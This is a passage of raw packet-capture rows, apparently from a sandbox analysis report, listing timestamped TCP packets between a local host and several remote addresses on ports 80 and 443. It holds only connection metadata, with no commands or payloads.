                                                                                                                                                                          Dec 23, 2024 08:40:09.088584900 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.088660955 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.092317104 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.092330933 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.092649937 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.095868111 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.095949888 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.096044064 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.099428892 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.099509001 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.099554062 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.102931023 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.102973938 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.103034973 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.106374025 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.106426954 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.106477976 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.109781981 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.109836102 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.109863043 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.113121033 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.113212109 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.113220930 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.116494894 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.116636992 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.116677999 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.119927883 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.119997025 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.120043993 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.123709917 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.123825073 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.123888016 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.126712084 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.126813889 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.126874924 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.130090952 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.130187988 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.130220890 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.131789923 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:09.131844044 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.131896019 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:09.133451939 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.133559942 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.133605003 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.134188890 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:09.134207964 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.136852026 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.136908054 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.136919975 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.140233040 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.140295982 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.140331030 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.143603086 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.143677950 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.143697977 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.146984100 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.147042990 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.147093058 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.150372982 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.150443077 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.150490046 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.153723955 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.153871059 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.153887987 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.157099962 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.157159090 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.157212019 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.160538912 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.160633087 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.160635948 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.163886070 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.163994074 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.164072037 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.167298079 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.167376995 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.167426109 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.170677900 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.170717001 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.170754910 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.174021006 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.174071074 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.174105883 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.177433968 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.177486897 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.177562952 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.180821896 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.180885077 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.180931091 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.184166908 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.184247971 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.184278011 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.187571049 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.187668085 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.187709093 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.190943956 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.190993071 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.191040039 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.194298029 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.194353104 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.194434881 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.197683096 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.197778940 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.197782993 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.201088905 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.201111078 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.201172113 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.204432011 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.204484940 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.204534054 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.207818985 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.207865953 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.207923889 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.211221933 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.211287975 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.211323977 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.293936014 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.294068098 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.294091940 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.295161009 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.295211077 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.295305967 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.297626972 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.297677994 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.297720909 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.300085068 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.300170898 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.300215960 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.302542925 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.302645922 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.302648067 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.304946899 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.304996967 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.305013895 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.307331085 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.307373047 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.307415962 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.309660912 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.309732914 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.309781075 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.311983109 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.312063932 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.312119007 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.314302921 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.314383984 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.314407110 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.316607952 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.316705942 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.316768885 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.318900108 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.318948030 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.319005013 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.321096897 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.321175098 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.321208000 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.323301077 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.323452950 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.323487997 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.323522091 CET44349790172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.323839903 CET49790443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.323853016 CET44349790172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.324258089 CET44349790172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.325431108 CET49790443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.325540066 CET44349790172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.325558901 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.325691938 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.325695992 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.327723026 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.327801943 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.327801943 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.329833984 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.329905987 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.329905987 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.332011938 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.332075119 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.332279921 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.334073067 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.334146976 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.334172010 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.334330082 CET44349791172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.334573030 CET49791443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.334592104 CET44349791172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.334789038 CET44349793172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.335880995 CET49793443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.335906982 CET44349793172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.335983992 CET44349789172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.336184025 CET49789443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.336194992 CET44349789172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.336206913 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.336253881 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.336316109 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.336359024 CET44349791172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.336666107 CET44349789172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.337013960 CET44349793172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.337074041 CET49793443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.337368965 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.337502956 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.337516069 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.338012934 CET49791443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.338090897 CET44349791172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.338089943 CET44349792172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.338383913 CET49789443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.338443041 CET44349789172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.338557959 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.338645935 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.338685989 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.338785887 CET49793443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.338869095 CET44349793172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.339024067 CET49792443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.339087009 CET44349792172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.339806080 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.339848042 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.339890003 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.341012001 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.341073990 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.341123104 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.341384888 CET44349792172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.342211008 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.342259884 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.342343092 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.343333006 CET49792443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.343410015 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.343458891 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.343472004 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.343499899 CET44349792172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.344643116 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.344747066 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.344794035 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.345853090 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.345916033 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.345962048 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.347068071 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.347120047 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.347172976 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.348268032 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.348319054 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.348412037 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.349508047 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.349549055 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.349595070 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.350677967 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.350725889 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.350863934 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.351895094 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.351943016 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.351998091 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.353096962 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.353176117 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.353193045 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.354286909 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.354425907 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.354444027 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.355490923 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.355609894 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.355623960 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.356703997 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.356784105 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.356815100 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.357913017 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.358030081 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.358046055 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.359141111 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.359235048 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.359296083 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.360388994 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.360434055 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.360466003 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.361532927 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.361586094 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.361604929 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.362754107 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.362843990 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.362857103 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.363949060 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.364003897 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.364092112 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.365176916 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.365271091 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.365276098 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.366370916 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.366420031 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.366563082 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.367602110 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.367662907 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.367697001 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.368812084 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.368865967 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.368912935 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.370002031 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.370059967 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.370137930 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.371206045 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.371258974 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.371299028 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.372416973 CET8049780139.99.188.124192.168.2.9
